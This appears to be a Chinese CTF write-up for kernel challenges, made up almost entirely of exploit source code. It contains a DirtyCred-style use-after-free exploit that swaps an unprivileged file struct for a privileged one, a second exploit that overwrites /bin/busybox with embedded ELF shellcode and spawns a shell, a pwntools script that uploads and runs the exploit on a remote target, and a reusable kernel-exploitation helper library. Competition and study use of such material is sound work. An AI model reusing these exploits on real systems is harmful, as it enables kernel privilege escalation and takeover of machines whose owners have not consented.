    write(uaf_fd,"hhhhhhhhhhhhhhhh",16);
    void *ptr = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,uaf_fd,0);
    if(ptr == MAP_FAILED){
        perror("mmap");
        return -1;
    }

    int fds[0x1000];
    ioctl(fd,0x5555,uaf_fd);
    ioctl(fd,0x6666,uaf_fd);
    for(int i = 0;i < 0x10;i++){
        fds[i] = open("/happy",O_RDONLY);
        if(fds[i] < 0){
            perror("open file");
            printf("%d\n",i);
        }
    }
    printf("%s\n",ptr);
    memcpy(ptr,"/flag\x00\x00\x00\x00\x00\x00\x00\x00\x00",14);
    printf("%s\n",ptr);
}
方法2

dirty cred

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
// gcc -static -pthread ./exploit -o ./exploit
#define _GNU_SOURCE

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <assert.h>
#include <pthread.h>
#include <sys/uio.h>

#include <linux/bpf.h>
#include <linux/kcmp.h>

#include <linux/capability.h>

static void die(const char *fmt, ...) {
  va_list params;

  va_start(params, fmt);
  vfprintf(stderr, fmt, params);
  va_end(params);
  exit(1);
}
// use_temporary_dir() —— setup working dir, create writable file "./exp_dir/data"
static void use_temporary_dir(void) {
    chdir("/tmp");
  system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data");
  char *tmpdir = "exp_dir";
  if (!tmpdir)
    exit(1);
  if (chmod(tmpdir, 0777))
    exit(1);
  if (chdir(tmpdir))  // set current work dir
    exit(1);
}
// write_file() —— write sysctl file
static bool write_file(const char *file, const char *what, ...) {
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

static void setup_common() {
  if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
  }
}

static void loop();
// sandbox_common() —— setup sub-process parameter (memory / namespace / msg)
static void sandbox_common() {
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setsid();   // 调用 setsid() 后 namespace_sandbox_proc() 子进程不受终端影响,终端退出,不影响子进程继续运行
  struct rlimit rlim;   // setrlimit() - https://blog.csdn.net/sinat_38816924/article/details/122241661
  rlim.rlim_cur = rlim.rlim_max = (200 << 20);
  setrlimit(RLIMIT_AS, &rlim);              // 进程的虚拟内存(地址空间)的最大大小
  rlim.rlim_cur = rlim.rlim_max = 32 << 20;
  setrlimit(RLIMIT_MEMLOCK, &rlim);         // 锁定到RAM中的最大内存字节数
  rlim.rlim_cur = rlim.rlim_max = 136 << 20;
  setrlimit(RLIMIT_FSIZE, &rlim);           // 该进程可能创建的文件的最大大小(以字节为单位)
  rlim.rlim_cur = rlim.rlim_max = 1 << 20;
  setrlimit(RLIMIT_STACK, &rlim);           // 最大的进程堆栈,以字节为单位
  rlim.rlim_cur = rlim.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &rlim);            // 内核转存文件的最大长度
  rlim.rlim_cur = rlim.rlim_max = 256;
  setrlimit(RLIMIT_NOFILE, &rlim);          // 指定比进程可打开的最大文件描述符数量,超出此值,将会产生EMFILE错误
  if (unshare(CLONE_NEWNS)) {         // unshare() - https://man7.org/linux/man-pages/man2/unshare.2.html
  }                                   // CLONE_NEWNS - the calling process has a private copy of its namespace which is not shared with any other process
  if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
  }
  if (unshare(CLONE_NEWIPC)) {        // CLONE_NEWIPC - the calling process has a private copy of the IPC namespace which is not shared with any other process
  }
  if (unshare(0x02000000)) {
  }
  if (unshare(CLONE_NEWUTS)) {        // CLONE_NEWUTS - the calling process has a private copy of the UTS namespace which is not shared with any other process
  }
  if (unshare(CLONE_SYSVSEM)) {       // CLONE_SYSVSEM - the calling process has a new empty semadj list that is not shared with any other process
  }
  typedef struct {
    const char *name;
    const char *value;
  } sysctl_t;
  static const sysctl_t sysctls[] = {
      {"/proc/sys/kernel/shmmax", "16777216"},    // 定义单个共享内存段的最大值 https://blog.csdn.net/shmily_lsl/article/details/103384366
      {"/proc/sys/kernel/shmall", "536870912"},   // 控制可以使用的共享内存的总页数
      {"/proc/sys/kernel/shmmni", "1024"},        // 设置系统范围内共享内存段的最大数量。该参数的默认值是 4096
      {"/proc/sys/kernel/msgmax", "8192"},        // 一个消息的字节大小
      {"/proc/sys/kernel/msgmni", "1024"},        // 系统范围内的消息队列上限
      {"/proc/sys/kernel/msgmnb", "1024"},        // 一个消息队列的容量,最大字节数
      {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, // 每个信号集中的最大信号量数目; 系统范围内的最大信号量总数目; 每个信号发生时的最大系统操作数目; 系统范围内的最大信号集总数目
  };
  // unsigned i;
  // for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
  //   write_file(sysctls[i].name, sysctls[i].value);
}

static int wait_for_loop(int pid) {
  if (pid < 0)
    exit(1);
  int status = 0;
  while (waitpid(-1, &status, __WALL) != pid) {
  }
  return WEXITSTATUS(status);
}

static int real_uid;
static int real_gid;
__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20];
// sub-process
static int namespace_sandbox_proc() {
  // sandbox_common();     // setup sub-process parameter (memory / namespace / msg)
  loop();               // main exploit
}
// create sub-process to escalate privilege and check whether the "/etc/passwd" is changed
static int do_sandbox_namespace() {
  setup_common();       // no use
  real_uid = getuid();  // no use
  real_gid = getgid();  // no use
  mprotect(sandbox_stack, 4096, PROT_NONE);

  while (1) {
    int pid = clone(loop, &sandbox_stack[sizeof(sandbox_stack) - 64],
              CLONE_NEWUSER | CLONE_NEWPID, 0);
    int ret_status = wait_for_loop(pid);
    if (ret_status == 0) {
      printf("[!] succeed\n");
      sleep(1);
      printf("[*] checking /happy\n\n");
      printf("[*] executing command : head -n 5 /happy\n");
      sleep(1);
      system("head -n 5 /happy");
      return 1;
    } else {
      printf("[-] failed to write, retry...\n\n");
      sleep(3);
    }
  }
}

// ===========================

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#define MAX_FILE_NUM 1000
int uaf_fd = -1;
int fds[MAX_FILE_NUM];

int run_write = 0;  // make thread 1 get lock first, then thread 2
int run_spray = 0;  // make thread 2 allocate unprivileged object first, then thread 3
// slow_write() —— thread 1: occupy the write lock, and write plenty of data
void *slow_write() {
  printf("[*] start slow write to get the lock %d\n",uaf_fd);
  int fd = open("./uaf", 1);

  if (fd < 0) {
    perror("error open uaf file");
    exit(-1);
  }

  unsigned long int addr = 0x30000000;
  int offset;
  for (offset = 0; offset < 0x80000; offset++) {
    void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,
                   PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    if (r < 0) 
      printf("allocate failed at 0x%x\n", offset);
  }

  assert(offset > 0);

  void *mem = (void *)(addr);
  memcpy(mem, "hhhhh", 5);
  // send 5 write address to trigger writev (vector write), that can be blocked
  struct iovec iov[5];
  for (int i = 0; i < 5; i++) {
    iov[i].iov_base = mem;
    iov[i].iov_len = (offset - 1) * 0x1000;
  }

  run_write = 1;    // thread 2 can begin
  if (writev(fd, iov, 5) < 0)
    perror("slow write");
  printf("[*] slow write done!\n");
}
// write_cmd() —— thread 2: write evil data to the privileged file
void *write_cmd() {
  char data[1024] = "/flag\x00\x00\x00";     // hacker❌0:0:root:/:/bin/sh    \nDirtyCred works!\n\n   
  struct iovec iov = {.iov_base = data, .iov_len = 8};

  while (!run_write) {
    // printf("run_wriet:%d:\n",run_write);
  }
  run_spray = 1;   // thread 3 can begin
  if (writev(uaf_fd, &iov, 1) < 0){
    perror("writev");
  }
  printf("[*] write_cmd done! It should be after the slow write\n");
}
// spray_files() —— thread 3: spray high privileged file object
int fs_fd = -1;
int tmp_fd = -1;
int spray_files() {
    while (!run_spray) {
        // printf("run_spray:%d:\n",run_spray);
    }
    if(fs_fd == -1){
      printf("ERROR");
      return -1;
    }
    printf("[*] free uaf file struct\n");
    ioctl(fs_fd,0x5555,uaf_fd);
    ioctl(fs_fd,0x6666,uaf_fd);
    // getchar();
    // while(close(uaf_fd) >= 0){
    //     printf("[+] close uaf_fd\n");
    // }


    int found = 0;
    // spray priviledged file object
    printf("[*] uaf fd %d, start spray....\n", uaf_fd);
    // getchar();
    for(int i = 0 ;i < 0x10;i++){
      fds[i] = open("/happy", O_RDONLY);
      if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, tmp_fd, fds[i]) == 0) {
            found = 1;
            printf("[!] found, file id %d %d\n", 0,fds[i]);
      }
    }

    // for (int i = 0; i < 1000; i++) {
    //     fds[i] = open("/happy", O_RDONLY);
    //     if (fds[i] < 0) {
    //         perror("open file");
    //         printf("%d\n", i);
    //     }  // kcmp - 确定两个已经打开的文件描述符(可能来自不同的进程)是否指向内核中的同一个已打开的文件
    //         // int kcmp(pid_t pid1, pid_t pid2, int type, unsigned long idx1, unsigned long idx2);
    //         // 若为同一文件,则表示 file 对象已成功替换
    //     if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, tmp_fd, fds[i]) == 0) {
    //         found = 1;
    //         printf("[!] found, file id %d %d\n", i,fds[i]);
    //         for (int j = 0; j < i; j++)
    //             close(fds[j]);
    //         break;
    //     }
    // }

    // if (found) {
    //     sleep(3);
    //     return 0;
    // }
    return 0;
}
// trigger() —— trigger UAF to free the unprivileged file object
void trigger() {
//   int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
//   if (fs_fd < 0) {
//     perror("fsopen");
//     die("");
//   }

  symlink("./data", "./uaf");   // symbol link ./uaf -> ./data, to avoid the lock in __fdget_pos() before permission check

//   uaf_fd = open("./uaf", 1);
//   if (uaf_fd < 0) 
//     die("failed to open symbolic file\n");

//   if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) {      // FSCONFIG_SET_FD = 5
//     perror("fsconfig");
//     exit(-1);
//   }
//   // free the uaf fd
//   close(fs_fd);
    fs_fd = open("/dev/fileManager",0);
    if(fs_fd < 0){
        perror("open");
        return -1;
    }
    uaf_fd = open("./uaf",1);
    if (uaf_fd < 0) 
        die("failed to open symbolic file\n");
    tmp_fd = uaf_fd;

}
// loop() —— main exploit
void loop() {
  trigger();                                        // trigger UAF to free the unprivileged file object

  pthread_t p_id;
  pthread_create(&p_id, NULL, slow_write, NULL);    // thread 1: occupy the write lock 

  pthread_t p_id_cmd;
  pthread_create(&p_id_cmd, NULL, write_cmd, NULL); // thread 2: wait for the write lock to an unprivileged file 
  spray_files();                              // thread 3: spray high privileged file object
  pthread_join(p_id, NULL);
  pthread_join(p_id_cmd, NULL);
}

int main(void) {
  use_temporary_dir();   // setup workdir in ./exp_dir/
  do_sandbox_namespace();// create sub-process to escalate privilege and check whether the "/etc/passwd" is changed
  return 0;
}   

kernel-2

方法

暂时只能做到任意文件写,逃不了njail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <banzi.h>
int fd = -1;
int main(){
    unsigned char orw_elfcode[] = { 0x7f,0x45,0x4c,0x46,0x2,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x3e,0x0,0x1,0x0,0x0,0x0,0x78,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x38,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x5,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x97,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x97,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2e,0x64,0x79,0x71,0x2f,0x62,0x1,0x1,0x48,0x31,0x4,0x24,0x6a,0x2,0x58,0x48,0x89,0xe7,0x31,0xf6,0xf,0x5,0x41,0xba,0xff,0xff,0xff,0x7f,0x48,0x89,0xc6,0x6a,0x28,0x58,0x6a,0x1,0x5f,0x99,0xf,0x5
    };
    set_cpu_affinity(0,getpid());
    int pipe_fd[2];
    pipe(pipe_fd);
    int cid = fork();
    if(cid == 0){
        fd = open("/dev/keasy", O_RDWR);
        if(fd == -1){
            perror("/dev/keasy");
            exit(1);
        }
        int ezfd = fd + 1;
        //free ezfd file struct
        if (ioctl(fd, 0, 0xdeadbeef) == 0){
            perror("ioctl did not fail");
        }
        sleep(1);
        // reallocate ezfd file struct == uaf_fd file struct
	        int uaf_fd = open("/jail/uaf",O_CREAT|O_RDWR,0666);
        if(uaf_fd == -1){
            perror("/jail/uaf");
        }
        // triger page fault
        write(uaf_fd,orw_elfcode,sizeof(orw_elfcode));
        void *ptr = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,uaf_fd,0);
        if(ptr == MAP_FAILED){
            perror("mmap");
            return -1;
        }
        //free uaf_fd file struct
        close(uaf_fd);
        close(ezfd);
        sleep(1);
        // rellocate uaf_fd file struct
        int fdd = open("/bin/busybox",O_RDONLY);
        if(fdd == -1){
            perror("/bin/busybox");
        }
        memcpy(ptr,orw_elfcode,sizeof(orw_elfcode));
        write(pipe_fd[1],"A",1);
        pause();
    }
    else{
        char buf[1];
        read(pipe_fd[0],buf,1);
        printf("%s\n",buf);
        system("/bin/sh");
    }
}
mmap流程分析

SYSCALL_DEFINE6mmap -> ksys_mmap_pgoff->vm_mmap_pgoff->do_mmap->mmap_region->

上传脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
import base64
import platform

context.arch = "amd64"
context.log_level = "debug"
cmd = "$ "
if sys.version[0] == "3":
    is_python2 = False
else:
    is_python2 = True


def init():
    if is_python2:
        if os.path.exists("content"):
            os.remove("content")
        os.system("gzip -c ./exp > ./exp.gz")
        content = (read("./exp.gz")).encode("base64")
        with open("content", "wb+") as f:
            f.write(content)
            f.close()
    else:
        with open("content", "rb") as f:
            content = f.read()
            f.close()
    return content


def exploit(r):
    r.sendlineafter(cmd, "stty -echo")
    r.sendlineafter(cmd, "cat <<EOF > /tmp/exp.gz.b64")
    r.sendline(init())
    r.sendline("EOF")
    r.sendlineafter(cmd, "base64 -d /tmp/exp.gz.b64 > /tmp/exp.gz")
    r.sendlineafter(cmd, "gunzip /tmp/exp.gz")
    r.sendlineafter(cmd, "chmod +x /tmp/exp")
    r.sendlineafter(cmd, "/tmp/exp")
    r.interactive()


if len(sys.argv) != 3:
    print("python exp.py ip port")
    exit(0)
if is_python2:
    init()
    exit(0)
p = remote(sys.argv[1],sys.argv[2],ssl=True)
exploit(p)

banzi

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
// #include <keyutils.h>
#include <sys/prctl.h>  
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <linux/genetlink.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/openvswitch.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <sched.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <sys/time.h>
#include <sys/resource.h>
// #define DEBUG 1
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"
#define ELEM_CNT(x) (sizeof(x) / sizeof(x[0]))
#define SYS_SETRESUID_OFFSET (0xd81d0)
#define PREFIX_BUF_LEN (16)
#define logd(fmt, ...) dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do {                                   \
        loge(fmt, ##__VA_ARGS__);          \
        loge("Exit at line %d", __LINE__); \
        write(sync_pipe[1], "F", 1);       \
        exit(1);                           \
    } while (0)

int sync_pipe[2];
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif

#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000

#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16
#define MMAP_ADDR ((void *)0xdead0000)
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);
pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex;
uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;

int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int ss[0x1000][2];
int fds[0x1000];
int keys[0x1000];
int page_fds[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;


struct t_args
{
    int id;
    int nfds;
    int timer;
    bool suspend;
};


struct rcu_head
{
    void *next;
    void *func;
};


struct user_key_payload
{
    struct rcu_head rcu;
    unsigned short	datalen;
    char *data[];
};
size_t user_cs, user_ss, user_rflags, user_sp;
void save_state() {
    __asm__ __volatile__(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        :
        : "memory");
}

static inline uint64_t rdtsc() {
    uint32_t lo, hi;
    __asm__ __volatile__ ( "rdtsc" : "=a" (lo), "=d" (hi) );
    return ((uint64_t)hi << 32) | lo;
}

static void adjust_rlimit()
{
    struct rlimit rlim;
    rlim.rlim_cur = rlim.rlim_max = (200 << 20);
    setrlimit(RLIMIT_AS, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 32 << 20;
    setrlimit(RLIMIT_MEMLOCK, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 136 << 20;
    setrlimit(RLIMIT_FSIZE, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 1 << 20;
    setrlimit(RLIMIT_STACK, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 0;
    setrlimit(RLIMIT_CORE, &rlim);
    // RLIMIT_FILE
    rlim.rlim_cur = rlim.rlim_max = 14096;
    if (setrlimit(RLIMIT_NOFILE, &rlim) < 0)
    {
        rlim.rlim_cur = rlim.rlim_max = 4096;
        if (setrlimit(RLIMIT_NOFILE, &rlim) < 0)
        {
            perror("setrlimit");
        }
    }
}

// SYNC
struct sync_s {
    unsigned int x1;
    unsigned int x2;
    unsigned int x3;
    unsigned int x4;
};
struct sync_s *sync_s;
int shm_id;
// PUNCHING HOLE
int mfd;
size_t shmem_sz = (0x1000 * 0x10) * PAGE_SIZE;
int punch_hole_prepare() {
    int ret;
    shm_id = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0666);
    if (shm_id < 0) {
        perror("shmget");
        exit(1);
    }
    sync_s = (struct sync_s *)shmat(shm_id, NULL, 0);
    mfd = memfd_create("x", 0);
    if (mfd == -1) {
        perror("memfd_create failed");
        return 1;
    }

    void * addr = mmap(MMAP_ADDR + PAGE_SIZE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, mfd, 0);
    if (addr != MMAP_ADDR + PAGE_SIZE) {
        perror("mmap failed");
        return 1;
    }
    void * page = mmap(MMAP_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
    if(page != MMAP_ADDR){
        perror("mmap");
        return -1;
    }

    ret = fallocate(mfd, 0, 0, shmem_sz);

    if (ret == -1) {
        perror("fallocate failed");
        return 1;
    }
    logi("fallocate success");
}

uint64_t get_kernel_base(int offset){
    logd("get kernel_base");
    int fdd = open("/sys/kernel/notes",0);
    if(fdd < 0){
        perror("open");
        return -1;
    }
    char *kernelBuf = calloc(1,0x1000);
    memset(kernelBuf,'\x00',0x1000);
    read(fdd,kernelBuf,0x1000);
    hexdump(kernelBuf,0x100);
    uint64_t *kernel_low = kernelBuf;
    uint64_t kernel_low_addr = kernel_low[offset/0x8];
    uint64_t kernel_high_addr = kernel_low[(offset + 0x8)/0x8];
    logd("kernel_low_addr: 0x%llx",kernel_low_addr);
    logd("kernel_high_addr: 0x%llx",kernel_high_addr);
    return kernel_low_addr;
}


int triger_punch_hole(){
    int ret = fallocate(mfd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, shmem_sz);
    if(ret < 0){
        perror("fallocate");
        return ret;
    }
    return ret;
}

void init_namespace(void) {
    int fd;
    char buff[0x100];

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
        die("unshare(CLONE_NEWUSER | CLONE_NEWNS): %m");
    }

    if (unshare(CLONE_NEWNET)) {
        die("unshare(CLONE_NEWNET): %m");
    }

    fd = open("/proc/self/setgroups", O_WRONLY);
    snprintf(buff, sizeof(buff), "deny");
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", uid);
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", gid);
    write(fd, buff, strlen(buff));
    close(fd);
}
void set_cpu_affinity(int cpu_n, pid_t pid) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu_n, &set);

    if (sched_setaffinity(pid, sizeof(set), &set) < 0) {
        die("sched_setaffinity: %m");
    }
}
void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) {
        die("setsockopt(PACKET_VERSION): %m");
    }

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
